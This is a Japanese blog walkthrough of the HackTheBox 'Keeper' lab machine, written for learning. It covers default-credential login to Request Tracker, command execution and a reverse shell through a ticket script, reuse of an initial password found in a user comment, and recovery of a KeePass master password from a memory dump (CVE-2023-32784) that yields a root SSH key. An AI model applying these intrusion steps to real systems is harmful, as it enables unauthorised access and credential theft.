2
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

HackTheBox Keeper WriteUp

Last updated at Posted at 2024-02-12

今回は、HackTheBoxのEasyマシン「Keeper」のWriteUpです。
名前からKeepassが連想されますが、どのようなマシンなのでしょうか。

スクリーンショット 2024-02-12 17.10.21.png

グラフは普通にEasyな感じですね!
最近のマシンはEasyでも少し難しいものが多いので、油断せずにがんばります!

HackTheBoxってなに?という方はこちらの記事を見てみてください。一緒にハッキングしましょう!

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!

Keeper

侵入

それでは、ポートスキャンから始めていきましょう。

🐧+[~/Keeper]
Ex9loit👾<10.10.14.7>$ sudo nmap -Pn -n -v -T4 -p- -sS --min-rate=1000 -A 10.10.11.227 -oN nmap.log

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 35:39:d4:39:40:4b:1f:61:86:dd:7c:37:bb:4b:98:9e (ECDSA)
|_  256 1a:e9:72:be:8b:b1:05:d5:ef:fe:dd:80:d8:ef:c0:66 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Site doesnt have a title (text/html).
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.18.0 (Ubuntu)

22番と80番を発見しました。
それでは、Webへアクセスしてみましょう。

image.png

リンクが表示されました。hostsファイルにドメインを登録してアクセスしてみましょう。

image.png

ログインページが表示されました。
どうやら、Request tracker という製品のログインページのようです。

少し調べてみると、Request trackerのデフォルトの認証情報を発見しました。

どうやら、name : rootpassword : password がデフォルトのようです。
ログインできるか試してみましょう。

image.png

ログインできました!
ここから侵入に繋がる機能がないかをWeb内を調べてみます。

RCE

一通り、Web内を確認しましたが、パッと見だと侵入につながりそうなものはなさそうです。
何か特別な機能を持っている可能性はあるので、少しGoogleで検索してみると、気になる記事を発見しました。

どうやら、Request trackerでは新しいチケットを作成する時に、コマンドを実行できるようです。
記事を参考にし、実際に実行できるかどうかみてみましょう。

まずは、Global Scriptを作成します。

スクリーンショット 2023-08-14 113000.png

ここで、条件をOn Createにすることで、作成時にこのスクリプトを実行させることができます。
そして、Custom action commit codeに実行したいコマンドを設定します。とりあえず検証としてpingを実行させます。

image.png

Custom action preparation codereturn 1;に設定することを忘れないでください。

ここまで設定できたら、Create を押下します。

image.png

作成できました。
では、次はコマンドを実行させるためにチケットを新規作成します。

image.png

入力する情報はなんでもいいので、適当に入力します。
作成する前にtcpdumpを実行すること忘れないでください。

🐧+[~/Keeper]
Ex9loit👾<10.10.14.7>$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes

それでは、チケットを作成してみましょう!Create を押下します。

🐧+[~/Keeper]
Ex9loit👾<10.10.14.7>$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
11:38:32.598737 IP tickets.keeper.htb > 10.10.14.7: ICMP echo request, id 2, seq 1, length 64
11:38:32.598850 IP 10.10.14.7 > tickets.keeper.htb: ICMP echo reply, id 2, seq 1, length 64
11:38:33.595841 IP tickets.keeper.htb > 10.10.14.7: ICMP echo request, id 2, seq 2, length 64
11:38:33.595876 IP 10.10.14.7 > tickets.keeper.htb: ICMP echo reply, id 2, seq 2, length 64
11:38:34.594751 IP tickets.keeper.htb > 10.10.14.7: ICMP echo request, id 2, seq 3, length 64
11:38:34.594778 IP 10.10.14.7 > tickets.keeper.htb: ICMP echo reply, id 2, seq 3, length 64

コマンドが実行されました!
RCEが発火したのでこれで侵入できそうです!

先ほどのスクリプトのpingをリバースシェルを返すコマンドへ変更します。

image.png

Save Change を押下し、変更を保存します。

image.png

Scriptが変更できたら、先ほどと同じようにチケットを作成していきます。

image.png

作成する前に、待ち受けさせるのを忘れないでください。

🐧+[~/Keeper]
Ex9loit👾<10.10.14.7>$ nc -lvnp 2121
listening on [any] 2121 ...

www-data としてのシェル

それでは、Create を押下し、コマンドを実行させましょう!

🐧+[~/Keeper]
Ex9loit👾<10.10.14.7>$ nc -lvnp 2121
listening on [any] 2121 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.11.227] 41544
www-data@keeper:~$ whoami
www-data

シェルを取得できました!
侵入成功です!

横移動

www-data としてのシェルだったので、横移動が必要になります。
home ディレクトリを確認し、どんなユーザがいるかみてみましょう。

www-data@keeper:/home$ ls -l
total 4
drwxr-xr-x 4 lnorgaard lnorgaard 4096 Aug 14 06:01 lnorgaard

lnorgaardユーザが存在することを確認しました。
アクセス権限はあるので、中をみてみましょう。

www-data@keeper:/home/lnorgaard$ ls -l
total 2
-rw-r--r-- 1 lnorgaard lnorgaard  87391651 Aug 16 07:48 RT30000.zip
-rw-r----- 1 root      lnorgaard        33 Aug 15 15:10 user.txt

何やら怪しいzipファイルと、ユーザフラグがあります。
zipファイルは www-data の状態でも読み込み可能ですが、ユーザフラグへの読み込み権限がないので、もう少し列挙してみることにしました。

色々と確認しましたが、Web内でユーザを検索する機能があることを思い出しました。

image.png

lnorgaardユーザを検索してみます。

image.png

ユーザが見つかり、1つのActive Ticketsを発見しました。
この画面の右上に Edit と書かれたリンクがあります。なんとなくクリックしてみると、ユーザ情報が確認できました。

image.png

特に気になる情報はなさそうかなーと思っていましたが、一番下にユーザに対するコメントを発見しました。

image.png

そこには、新規ユーザの初期パスワードがWelcome2023!であると書かれています!
もしかすると、初期パスワードが変更されずそのまま使用されているかもしれません。

lnorgaard としてのシェル

それでは、SSH接続ができないか試してみましょう。

🐧+[~/Keeper]
Ex9loit👾<10.10.14.7>$ ssh lnorgaard@10.10.11.227                       
The authenticity of host '10.10.11.227 (10.10.11.227)' can't be established.
ED25519 key fingerprint is SHA256:hczMXffNW5M3qOppqsTCzstpLKxrvdBjFYoJXJGpr7w.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.227' (ED25519) to the list of known hosts.
lnorgaard@10.10.11.227's password: 
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-78-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
You have mail.
Last login: Tue Aug  8 11:31:22 2023 from 10.10.14.23
lnorgaard@keeper:~$ whoami
lnorgaard

接続できました!
どうやら初期パスワードは変更されていなかったようです。

lnorgaard@keeper:~$ ls -l
total 2
-rw-r--r-- 1 lnorgaard lnorgaard  87391651 Aug 16 07:52 RT30000.zip
-rw-r----- 1 root      lnorgaard        33 Aug 15 15:10 user.txt

これでやっとユーザフラグをゲットできました!
実は、www-dataを通らずともパスワードを取得はできたのですが、私が実際に攻略したときはwww-dataからパスワードを取得したので、フローを書いています!

権限昇格

では、いよいよ権限昇格を狙っていきましょう。
すでに怪しいzipファイルを見つけているので、ホスト側にコピーします。

🐧+[~/Keeper]
Ex9loit👾<10.10.14.7>$ scp lnorgaard@10.10.11.227:/home/lnorgaard/RT30000.zip ./    
lnorgaard@10.10.11.227s password: 
RT30000.zip                                                                        100%   83MB   1.4MB/s   01:01    

コピーできたので、解凍してみましょう。

🐧+[~/Keeper]
Ex9loit👾<10.10.14.7>$ unzip RT30000.zip
Archive:  RT30000.zip
  inflating: KeePassDumpFull.dmp     
 extracting: passcodes.kdbx          

dmpファイルとkdbxファイルを確認しました。
最終的に、kdbxファイルを開くことができたら勝ちっぽいので、パスワードさえ取得できれば攻略できそうです。

CVE-2023-32784

少し、Keepassとdmpファイルについて調べてみると、かなり怪しい記事を発見しました!

どうやら、dmpファイルからマスターパスワードを復元させることができるようです。
ちょうどPoCツールが公開されているのを見つけました。

それでは、このスクリプトの引数にdmpファイルを指定し、実行してみましょう。

🐧+[~/Keeper/keepass-dump-masterkey]
Ex9loit👾<10.10.14.7>$ python3 poc.py -d ../KeePassDumpFull.dmp                                  
2023-08-16 13:13:11,612 [.] [main] Opened ../KeePassDumpFull.dmp
Possible password: ●,dgr●d med fl●de
Possible password: ●ldgr●d med fl●de
Possible password: ●`dgr●d med fl●de
Possible password: ●-dgr●d med fl●de
Possible password: ●'dgr●d med fl●de
Possible password: ●]dgr●d med fl●de
Possible password: ●Adgr●d med fl●de
Possible password: ●Idgr●d med fl●de
Possible password: ●:dgr●d med fl●de
Possible password: ●=dgr●d med fl●de
Possible password: ●_dgr●d med fl●de
Possible password: ●cdgr●d med fl●de
Possible password: ●Mdgr●d med fl●de

少し壊れている部分はありますが、最終的に「dgrd med flde」という文字がパスワードで使用されていることがわかりました。ツールの説明から見ても、パスワードを完全に復元するのは不可能であることがわかっています。
壊れている部分を推測する必要がありますが、あまり見慣れない文字なのでダメ元でそのまま検索してみることにしました。

image.png

もしかしての部分で、「dgrd med flode」が出てきています。再度検索してみましょう。

image.png

何やらデザートのような写真がヒットしました。
どうやらこれはデンマークのデザートのようで、正式には「rødgrød med fløde」というみたいです。
ここで私は、この正式名称が先ほどマスターパスワードを復元させた際の「ちょうど壊れていた部分」と文字数が重なルコとに気がつきました。もしかするとこれはそのままパスワードとして使えるかもしれません。

keepass2 を実行し、パスワードを入力してみましょう。

🐧+[~/Keeper]
Ex9loit👾<10.10.14.7>$ keepass2

先ほどのkdbxファイルを選択し、マスターパスワードにrødgrød med flødeを入力します。

image.png

では、OKを押してみましょう。

image.png

kdbxファイルを開くことに成功しました!

image.png

中身を見てみると、PuTTY形式の秘密鍵がありました。
これをローカルで保存し、OpenSSH形式の鍵へ変換しましょう。

🐧+[~/Keeper]
Ex9loit👾<10.10.14.7>$ puttygen root.ppk -O private-openssh -o root.ssh

変換に成功しました。

root としてのシェル

それでは、変換した鍵を使用し、SSH接続を行いましょう!

🐧+[~/Keeper]
Ex9loit👾<10.10.14.7>$ ssh -i root.ssh root@10.10.11.227
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-78-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

You have new mail.
Last login: Tue Aug 15 21:52:38 2023 from 10.10.14.3
root@keeper:~# whoami
root

root としてのシェルを取得しました!
権限昇格成功です!

root@keeper:~# ls -l
total 85352
-rw-r----- 1 root root       33 Aug 15 15:10 root.txt
-rw-r--r-- 1 root root 87391651 Jul 25 19:56 RT30000.zip
drwxr-xr-x 2 root root     4096 Jul 25 20:11 SQL

フラグも無事取得できました!
完全攻略です〜!

攻略を終えて

Keeper、攻略していてとても楽しいマシンでした!ただ、デンマークのデザートは本当に分からず実際に攻略している時は、結構時間をかけてしまいました。文字数が同じことに気付いた時、「え?これもしかしてそのまま使える?」と半信半疑で入力し、使えたときは驚きました笑
今回は初期パスワードをそのまま使用していることが原因で権限昇格まで行われました。初期パスワードを変更せずにそのまま使っているパターンは実世界でもよく見かけます。本当に簡単に侵入/ログインされてしまうので必ず初期パスワードを変更するように注意喚起をしていきたいです。
少しCTF感もあるマシンでした!
今後もHackTheBoxのWriteUpを公開していきますので、見ていただけると嬉しいです!
それでは、最後まで閲覧していただきありがとうございました〜!!

2
2
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?